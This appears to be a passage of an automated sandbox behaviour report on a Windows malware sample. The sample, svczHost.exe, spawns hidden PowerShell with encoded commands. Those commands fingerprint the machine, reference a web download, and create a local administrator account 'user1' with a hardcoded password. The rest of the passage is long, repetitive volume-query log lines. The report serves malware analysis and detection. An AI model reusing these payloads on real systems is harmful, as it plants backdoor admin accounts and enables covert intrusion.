akah0adqakaa0acgb3aggaaqbsaguakaakagmabwb1ag4adaagac0azwb0acaamaapaa0acgb7aa0acgajaa0acgajahqacgb5ahsadqakacaaiaagacaaiaagacaaiabtaguabgbkacaaigbiaguazwbpag4aiabkag8adwbuagwabwbhagqaiaakahuacgbpaciaowanaaoacqajacqaywbvag4adablag4adaagad0aiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowanaaoaiaagacaaiaagacaaiaagacqaygb5ahqazqbbahiacgbhahkaiaa9acaajabjag8abgb0aguabgb0ac4aywbvag4adablag4adaa7aa0acgagacaaiaagacaaiaagacaazgbvahiaiaaoacqaaqagad0aiaawadsaiaakag	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
